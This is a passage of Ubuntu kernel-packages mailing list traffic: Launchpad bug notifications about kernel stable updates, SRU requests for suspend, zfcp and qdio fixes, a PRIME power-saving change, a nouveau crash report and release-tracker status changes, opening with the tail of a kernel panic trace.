kvm_arch_hardware_disable+0x19/0x40 [kvm] [ 7893.700043] hardware_disable_nolock+0x2b/0x30 [kvm] [ 7893.701712] flush_smp_call_function_queue+0x5c/0x100 [ 7893.703335] generic_smp_call_function_single_interrupt+0x13/0x30 [ 7893.705321] smp_call_function_interrupt+0x2d/0x40 [ 7893.706883] call_function_interrupt+0x1af/0x1c0 [ 7893.708529] [ 7893.709361] RIP: 0010:native_safe_halt+0x6/0x10 [ 7893.710878] RSP: 0018:b0403df8 EFLAGS: 0246 ORIG_RAX: ff03 [ 7893.713311] RAX: afb1be10 RBX: b0660720 RCX: [ 7893.715635] RDX: RSI: RDI: [ 7893.717890] RBP: b0403df8 R08: 0002 R09: 8b08ac931800 [ 7893.720044] R10: 0001001cf7c1 R11: 0061 R12: [ 7893.722234] R13: R14: 8b08bff4a800 R15: 0008a000 [ 7893.724426] ? __cpuidle_text_start+0x8/0x8 [ 7893.725828] default_idle+0x20/0x100 [ 7893.727209] arch_cpu_idle+0x15/0x20 [ 7893.728450] default_idle_call+0x23/0x30 [ 7893.729613] do_idle+0x16f/0x1e0 [ 7893.730643] cpu_startup_entry+0x73/0x80 [ 7893.731825] rest_init+0xbc/0xc0 [ 7893.732840] start_kernel+0x4c8/0x4e9 [ 7893.733974] ? early_idt_handler_array+0x120/0x120 [ 7893.735306] x86_64_start_reservations+0x24/0x26 [ 7893.736607] x86_64_start_kernel+0x13a/0x15d [ 7893.737887] secondary_startup_64+0x9f/0xa0 [ 7893.739139] Code: 0f 1f 80 00 00 00 00 55 48 89 e5 0f 20 d8 5d c3 0f 1f 80 00 00 00 00 55 48 89 e5 0f 22 df 5d c3 0f 1f 80 00 00 00 00 55 48 89 e5 <0f> 22 e7 5d c3 0f 1f 80 00 00 00 00 55 48 89 e5 44 0f 20 c0 5d [ 7893.744104] RIP: native_write_cr4+0x4/0x10 RSP: 8b08bfc03f50 [ 7893.745775] ---[ end trace fccf997ea9a59d36 ]--- [ 7893.747097] Kernel panic - not syncing
[Kernel-packages] [Bug 1776887] Re: Critical upstream bugfix missing in Ubuntu 18.04 - frequent Xorg crash after suspend
Any progress on this? The bug is still biting me. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1776887 Title: Critical upstream bugfix missing in Ubuntu 18.04 - frequent Xorg crash after suspend Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: In Progress Bug description: == SRU Justification == This upstream bug has been confirmed to affect Ubuntu users[1]. As per the fix commit (below), the most frequent symptom is a crash of Xorg/Xwayland, i.e. killing the entire GUI, when a laptop is woken from system sleep. Frequency of the bug is described as once every few days[2]. [1] E.g. this user confirms the bug & very specific workaround: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1760450/comments/11 [2] E.g. this log of crashes: https://bugzilla.redhat.com/show_bug.cgi?id=1553979#c23 This is a bug in blk-core.c. It is not specific to any one hardware driver. Technically the suspend bug is triggered by the SCSI core - which is used by *all SATA devices*. The commit also includes a test which quickly and reliably proves the existence of a horrifying bug. I guess you might avoid this bug only if you have root on NVMe. The other way to not hit the Xorg crash is if you don't use all your RAM, so there's no pressure that leads to cold pages of Xorg being swapped. Also, you won't reproduce the Xorg crash if you suspend+resume immediately. (This frustrated my tests at one point, it only triggered after left the system suspended over lunch :). Fix: "block: do not use interruptible wait anywhere" in kernel 4.17: https://github.com/torvalds/linux/commit/1dc3039bc87ae7d19a990c3ee71cfd8a9068f428 in kernel 4.16.8: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux- stable.git/commit/?h=linux-4.16.y&id=7859056bc73dea2c3714b00c83b253d4c22bf7b6 lack of fix in 4.15.0-24.26 (ubuntu 18.04): https://git.launchpad.net /~ubuntu-kernel/ubuntu/+source/linux/+git/bionic/tree/block/blk- core.c?id=Ubuntu-4.15.0-24.26#n856 I.e., this bug is still present in Ubuntu source package linux-4.15.0-24.26 (and 4.15.0-23.25). I attach hardware details (lspci-vnvn.log) of a system where this bug is known to happen. Regards Alan WORKAROUND: Use kernel parameter: scsi_mod.scan=sync == Fix == 1dc3039bc87a ("block: do not use interruptible wait anywhere") == Regression Potential == Low. This patch has been sent to stable, so it has had additional upstream review. == Test Case == A test kernel was built with this patch and tested by the original bug reporter. The bug reporter states the test kernel resolved the bug. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1776887/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785211] Re: Cosmic update to 4.17.12 stable release
** Also affects: linux (Ubuntu Cosmic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Cosmic) Status: New => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785211 Title: Cosmic update to 4.17.12 stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Cosmic: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The 4.17.12 upstream stable patch set is now available. It should be included in the Ubuntu kernel as well. git://git.kernel.org/ TEST CASE: TBD The following patches from the 4.17.12 stable release shall be applied: 506f6fba2696 Linux 4.17.12 54babab9098f ACPICA: AML Parser: ignore control method status in module-level code 89db44642f70 ACPI / LPSS: Avoid PM quirks on suspend and resume from hibernation 1b3610883fa5 tcp: ack immediately when a cwr packet arrives b98838f41e20 tcp: add one more quick ack after after ECN events 04a7cf23ff9a tcp: refactor tcp_ecn_check_ce to remove sk type cast d90f13b0751b tcp: do not aggressively quick ack after ECN events 8893617eeb19 tcp: add max_quickacks param to tcp_incr_quickack and tcp_enter_quickack_mode 26318452131f tcp: do not force quickack when receiving out-of-order packets dc73f8ae16db netlink: Don't shift with UB on nlk->ngroups fc3364865d97 netlink: Do not subscribe to non-existent groups 469bda04fc89 net: rollback orig value on failure of dev_qdisc_change_tx_queue_len d685bbf1acf7 cxgb4: Added missing break in ndo_udp_tunnel_{add/del} 8cd998af04a3 xen-netfront: wait xenbus state change when load module manually 4c42c0bfd065 virtio_net: Fix incosistent received bytes counter a21b4b34c890 tcp_bbr: fix bw probing to raise in-flight data for very small BDPs cb2a0a6c164d RDS: RDMA: Fix the NULL-ptr deref in rds_ib_get_mr 77629161f025 NET: stmmac: align DMA stuff to largest cache line length 71e5f4e1ea18 net: mdio-mux: bcm-iproc: fix wrong getter and setter pair 967868627207 net: lan78xx: fix rx handling before first packet is send db610cdfa956 net: fix amd-xgbe flow-control issue 780ce03df1de net: ena: Fix use of uninitialized DMA address bits field 8f2634dd5811 netdevsim: don't leak devlink resources 11f8d2a65692 ipv4: remove BUG_ON() from fib_compute_spec_dst 1eb99afb655b net: dsa: qca8k: Allow overwriting CPU port setting 02ccbb263eef net: dsa: qca8k: Add QCA8334 binding documentation a8760d052c55 net: dsa: qca8k: Enable RXMAC when bringing up a port ef405a8c1431 net: dsa: qca8k: Force CPU port to its highest bandwidth 36d1eff3591b RDMA/uverbs: Protect from attempts to create flows on unsupported QP 6645b869f959 gpio: uniphier: set legitimate irq trigger type in .to_irq hook 33d553b27bd5 gpio: of: Handle fixed regulator flags properly f668f6ef2b51 ext4: fix check to prevent initializing reserved inodes 8062ee9cbb31 ext4: check for allocation block validity with block group locked 78cd6a047da8 ext4: fix inline data updates with checksums enabled 56ac8b3c5b49 ext4: fix false negatives *and* false positives in ext4_check_descriptors() 1273d1f1c434 squashfs: be more careful about metadata corruption a0c1006b354c random: mix rdrand with entropy sent in from userspace ae7b02e08065 i2c: rcar: handle RXDMA HW behaviour on Gen3 eabee58e7f2b nvmet-fc: fix target sgl list on large transfers c5e451d30d00 block: reset bi_iter.bi_done after splitting bio 93ba679354cf blkdev: __blkdev_direct_IO_simple: fix leak in error case c08cdf9b5ffd block: bio_iov_iter_get_pages: fix size of last iovec 09e3b44aeaac drm/amdgpu: Avoid reclaim while holding locks taken in MMU notifier dee772d923e8 drm/dp/mst: Fix off-by-one typo when dump payload table 6e9ea39872d8 drm/atomic-helper: Drop plane->fb references only for drm_atomic_helper_shutdown() ac70c738be06 drm: Add DP PSR2 sink enable bit e6f51bf5793c ARM: dts: imx6qdl-wandboard: Let the codec control MCLK pinctrl 636ef9d6b1ac ASoC: topology: Add missing clock gating parameter when parsing hw_configs 671dc72c2c37 ASoC: topology: Fix bclk and fsync inversion in set_link_hw_format() f33d11899484 net: socionext: reset hardware in ndo_stop 8a90a8d31d9f media: si470x: fix __be16 annotations 956ebc825b4a media: cec: fix smatch error cf57026b307d media: atomisp: compat32: fix __user annotations c037af7e6ef4 PCI/ASPM: Disable ASPM L1.2 Substate if we don't have LTR c1e6939d1bd1 scsi: cxlflash: Avoid
[Kernel-packages] [Bug 1781535] Re: qdio: don't retry EQBS after CCQ 96
** Changed in: ubuntu-z-systems Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781535 Title: qdio: don't retry EQBS after CCQ 96 Status in Ubuntu on IBM z Systems: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: qdio: don't retry EQBS after CCQ 96 Symptom: Queue stalls, over-/underreporting of buffer errors. Problem: Immediate retry of EQBS after CCQ 96 means that we potentially misreport the state of buffers inspected during the first EQBS call. Solution: On CCQ 96, first process the discovered state. Afterwards, higher-level code will eventually trigger an EQBS/inspection of the remaining buffers. Their state is now processed independently from the state that was discovered during the first EQBS. Upstream-ID: dae55b6fef58530c13df074bcc182c096609339e To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1781535/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1780067] Re: zfcp: fix infinite iteration on ERP ready list
$ git tag --contains fa89adba1941e4f3b213399b81732a5c12fd9131 Ubuntu-4.17.0-6.7 Ubuntu-4.17.0-6.7 ** Changed in: linux (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1780067 Title: zfcp: fix infinite iteration on ERP ready list Status in Ubuntu on IBM z Systems: Fix Committed Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Committed Bug description: Please backport: commit fa89adba1941e4f3b213399b81732a5c12fd9131 scsi: zfcp: fix infinite iteration on ERP ready list zfcp_erp_adapter_reopen() schedules blocking of all of the adapter's rports via zfcp_scsi_schedule_rports_block() and enqueues a reopen adapter ERP action via zfcp_erp_action_enqueue(). Both are separately processed asynchronously and concurrently. Blocking of rports is done in a kworker by zfcp_scsi_rport_work(). It calls zfcp_scsi_rport_block(), which then traces a DBF REC "scpdely" via zfcp_dbf_rec_trig(). zfcp_dbf_rec_trig() acquires the DBF REC spin lock and then iterates with list_for_each() over the adapter's ERP ready list without holding the ERP lock. This opens a race window in which the current list entry can be moved to another list, causing list_for_each() to iterate forever on the wrong list, as the erp_ready_head is never encountered as terminal condition. Meanwhile the ERP action can be processed in the ERP thread by zfcp_erp_thread(). It calls zfcp_erp_strategy(), which acquires the ERP lock and then calls zfcp_erp_action_to_running() to move the ERP action from the ready to the running list. zfcp_erp_action_to_running() can move the ERP action using list_move() just during the aforementioned race window. It then traces a REC RUN "erator1" via zfcp_dbf_rec_run(). zfcp_dbf_rec_run() tries to acquire the DBF REC spin lock. If this is held by the infinitely looping kworker, it effectively spins forever. Example Sequence Diagram: ProcessERP Thread rport_work --------- zfcp_erp_adapter_reopen() zfcp_erp_adapter_block() zfcp_scsi_schedule_rports_block() lock ERP zfcp_scsi_rport_work() zfcp_erp_action_enqueue(ZFCP_ERP_ACTION_REOPEN_ADAPTER) list_add_tail() on ready !(rport_task==RPORT_ADD) wake_up() ERP thread zfcp_scsi_rport_block() zfcp_dbf_rec_trig()zfcp_erp_strategy()zfcp_dbf_rec_trig() unlock ERPlock DBF REC zfcp_erp_wait()lock ERP | zfcp_erp_action_to_running() | list_for_each() ready | list_move() current entry |ready to running | zfcp_dbf_rec_run() endless loop over running | zfcp_dbf_rec_run_lvl() | lock DBF REC spins forever Any adapter recovery can trigger this, such as setting the device offline or reboot. V4.9 commit 4eeaa4f3f1d6 ("zfcp: close window with unblocked rport during rport gone") introduced additional tracing of (un)blocking of rports. It missed that the adapter->erp_lock must be held when calling zfcp_dbf_rec_trig(). This fix uses the approach formerly introduced by commit aa0fec62391c ("[SCSI] zfcp: Fix sparse warning by providing new entry in dbf") that got later removed by commit ae0904f60fab ("[SCSI] zfcp: Redesign of the debug tracing for recovery actions."). Introduce zfcp_dbf_rec_trig_lock(), a wrapper for zfcp_dbf_rec_trig() that acquires and releases the adapter->erp_lock for read. Reported-by: Sebastian Ott Signed-off-by: Jens Remus Fixes: 4eeaa4f3f1d6 ("zfcp: close window with unblocked rport during rport gone") Cc: # 2.6.32+ Reviewed-by: Benjamin Block Signed-off-by: Steffen Maier Signed-off-by: Martin K. Petersen To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1780067/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785242] [NEW] linux: 4.17.0-7.8 -proposed tracker
Public bug reported: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow ** Affects: kernel-sru-workflow Importance: Medium Status: In Progress ** Affects: kernel-sru-workflow/automated-testing Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: kernel-sru-workflow/prepare-package Importance: Medium Assignee: Thadeu Lima de Souza Cascardo (cascardo) Status: In Progress ** Affects: kernel-sru-workflow/prepare-package-meta Importance: Medium Assignee: Thadeu Lima de Souza Cascardo (cascardo) Status: In Progress ** Affects: kernel-sru-workflow/prepare-package-signed Importance: Medium Assignee: Thadeu Lima de Souza Cascardo (cascardo) Status: In Progress ** Affects: kernel-sru-workflow/promote-to-proposed Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: kernel-sru-workflow/promote-to-release Importance: Medium Assignee: Ubuntu Package Archive Administrators (ubuntu-archive) Status: New ** Affects: kernel-sru-workflow/regression-testing Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: linux (Ubuntu) Importance: Medium Status: Confirmed ** Affects: linux (Ubuntu Cosmic) Importance: Medium Status: Confirmed ** Tags: cosmic kernel-release-tracking-bug kernel-release-tracking-bug-live kernel-sru-cycle-d2018.08.03-1 ** Tags added: kernel-release-tracking-bug ** Tags added: kernel-release-tracking-bug-live ** Also affects: linux (Ubuntu Cosmic) Importance: Undecided Status: New ** Tags added: cosmic ** Changed in: linux (Ubuntu Cosmic) Status: New => Confirmed ** Also affects: kernel-sru-workflow/automated-testing Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package-meta Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package-signed Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/promote-to-proposed Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/promote-to-release Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/regression-testing Importance: Undecided Status: New ** Changed in: kernel-sru-workflow/automated-testing Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/automated-testing Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package-meta Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package-signed Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package-signed Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/promote-to-proposed Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/promote-to-release Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/promote-to-release Assignee: (unassigned) => Ubuntu Package Archive Administrators (ubuntu-archive) ** Changed in: kernel-sru-workflow/regression-testing Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/regression-testing Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: kernel-sru-workflow Status: New => In Progress ** Changed in: kernel-sru-workflow Importance: Undecided => Medium ** Tags added: kernel-sru-cycle-d2018.08.03-1 ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Thadeu Lima de Souza Cascardo (cascardo) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonica
[Kernel-packages] [Bug 1781535] Re: qdio: don't retry EQBS after CCQ 96
$ git tag --contains dae55b6 Ubuntu-4.17.0-6.7 Ubuntu-4.17.0-6.7 And released. ** Changed in: linux (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781535 Title: qdio: don't retry EQBS after CCQ 96 Status in Ubuntu on IBM z Systems: Fix Committed Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: qdio: don't retry EQBS after CCQ 96 Symptom: Queue stalls, over-/underreporting of buffer errors. Problem: Immediate retry of EQBS after CCQ 96 means that we potentially misreport the state of buffers inspected during the first EQBS call. Solution: On CCQ 96, first process the discovered state. Afterwards, higher-level code will eventually trigger an EQBS/inspection of the remaining buffers. Their state is now processed independently from the state that was discovered during the first EQBS. Upstream-ID: dae55b6fef58530c13df074bcc182c096609339e To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1781535/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778011] Re: SRU: PRIME Power Saving mode draws too much power
** Also affects: nvidia-settings (Ubuntu) Importance: Undecided Status: New ** Changed in: nvidia-settings (Ubuntu) Importance: Undecided => High ** Changed in: nvidia-settings (Ubuntu) Status: New => In Progress ** Changed in: nvidia-settings (Ubuntu) Assignee: (unassigned) => Alberto Milone (albertomilone) ** Changed in: nvidia-settings (Ubuntu) Status: In Progress => Fix Released ** Changed in: nvidia-settings (Ubuntu Bionic) Importance: Undecided => High ** Changed in: nvidia-settings (Ubuntu Bionic) Status: New => In Progress ** Changed in: nvidia-settings (Ubuntu Bionic) Assignee: (unassigned) => Alberto Milone (albertomilone) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1778011 Title: SRU: PRIME Power Saving mode draws too much power Status in gdm3 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Fix Released Status in nvidia-prime package in Ubuntu: Fix Released Status in nvidia-settings package in Ubuntu: Fix Released Status in ubuntu-drivers-common package in Ubuntu: Fix Released Status in gdm3 source package in Bionic: In Progress Status in nvidia-graphics-drivers-390 source package in Bionic: In Progress Status in nvidia-prime source package in Bionic: In Progress Status in nvidia-settings source package in Bionic: In Progress Status in ubuntu-drivers-common source package in Bionic: In Progress Bug description: SRU Request: [Impact] Relying on the nouveau driver and on the vga switcheroo (to get around a change in systemd LP: #1777099) caused increased power consumption, and slowed down the switching process. Furthermore, if the main X/Xwayland session was started by Gdm when the nvidia driver was loaded, the session will keep the nvidia module loaded, and prevent the system from switching off the dGPU. Also, the nouveau driver will be loaded, if nvidia is not, and this can cause problems to unsupported NVIDIA GPUs. The solution involves the following changes: 1) Solving the problem in systemd (LP: #1777099) 2) Adding code in gpu-manager and in nvidia-prime to unload the nvidia modules, and to allow the PCI device to sleep. 3) Making a slight change to the current patch in Gdm, used to call the PRIME scripts before and after a Gdm session (so that gpu-manager gets actually called on log out) 4) Adding code in gpu-manager to kill the main X/Xwayland session on log out, if the session is preventing us from unloading the nvidia driver. A new X/Xwayland session will be created after unload the module. 5) Removing the systemd service that loads nouveau from the nvidia packages. [Test Case] 1) Enable the -proposed repository, and install the new "ubuntu-drivers-common", nvidia drivers, nvidia-prime, and gdm3 2) Make sure the nvidia packages are installed, and enable performance mode (if it is already enabled, call "sudo prime-select intel" first): sudo prime-select nvidia 3) Restart your computer and attach your /var/log/gpu-manager.log. see if the system boots correctly. If unsure, please attach your /var/log /gpu-manager.log and /var/log/Xorg.0.log 4) Select power saving mode: sudo prime-select intel 5) Log out and log back in 6) Check if the nvidia driver is still loaded: lsmod | grep nvidia [Regression Potential] Low, as hybrid graphics support does not work correctly, and the changes only affect this use case. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1778011/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783957] Re: Nouveau crashes at login with Kernel 4.15.0-29 on MacBook Air, so no login screen in a normal sequence
Can you attach dmesg under latest mainline kernel? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783957 Title: Nouveau crashes at login with Kernel 4.15.0-29 on MacBook Air, so no login screen in a normal sequence Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: Triaged Status in linux source package in Cosmic: Triaged Bug description: I have a MacBook Air laptop which is running Linux (Kubuntu 16.04.5 LTS) with NVidia Graphics Card, KDE, Xorg, SDDM, and so on... Clean and natural install, no funky custom kernel or drivers or anything... Everything worked fine (with the 4.13.* kernel) until I've upgraded all my packages (which included the "wonderful" 4.15.0-29 kernel, which broke my system). Now, everytime I try to boot normally, it asks me for my disk password (I have an encrypted LVM) and after that, guess what ?: blank screen. The login screen does not appear. I can switch the Terminals with Ctrl+Alt+Fx, however. However, the same kernel, if I boot it in recovery mode and then I select "Resume", the login screen appears, but it lags a little bit... Needless to say, if I boot the older kernel (4.13), everything works perfectly. I dug up some logs and found something like "sddm-greeter" segmentation fault in nouveau_dri.so or something like this. So, it looks like the new kernel doesn't quite seem to look eye-to-eye with nouveau drivers... And no, I don't want the NVidia proprietary drivers because I get along just perfectly with Nouveau on other machines, and I don't want to reinstall nvidia drivers everytime I'm upgrading the kernel. And yes, I already have "haveged" installed, to provide sufficient entropy (I saw that the possible lack of entropy might be a problem in some cases)... If I boot in recovery mode and then select "resume", everything works. So, what is going on ? Any help would be appreciated... ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: KDE Date: Fri Jul 27 10:40:31 2018 InstallationDate: Installed on 2018-07-04 (22 days ago) InstallationMedia: Kubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783957/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784294] Re: linux-gcp: 4.15.0-1016.17~16.04.1 -proposed tracker
** Summary changed: - linux-gcp: -proposed tracker + linux-gcp: 4.15.0-1016.17~16.04.1 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Stefan Bader (smb) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Stefan Bader (smb) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1784294 Title: linux-gcp: 4.15.0-1016.17~16.04.1 -proposed tracker Status in Kernel SRU Workflow: New Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784294/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783396] Re: linux: 4.17.0-6.7 -proposed tracker
The package has been published and the bug is being set to Fix Released ** Changed in: kernel-sru-workflow/promote-to-release Status: Confirmed => Fix Released ** Changed in: kernel-sru-workflow Status: In Progress => Fix Released ** Description changed: This bug is for tracking the 4.17.0-6.7 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true + kernel-phase-changed:Friday, 03. August 2018 12:01 UTC + kernel-phase:Released ** Description changed: This bug is for tracking the 4.17.0-6.7 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- - phase: Promoted to proposed + phase: Released proposed-announcement-sent: true proposed-testing-requested: true - kernel-phase-changed:Friday, 03. August 2018 12:01 UTC - kernel-phase:Released ** Tags removed: kernel-release-tracking-bug-live -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783396 Title: linux: 4.17.0-6.7 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-release series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Cosmic: Fix Released Bug description: This bug is for tracking the 4.17.0-6.7 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- phase: Released proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1783396/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1763170] Re: Bionic update to v4.16.1 stable release
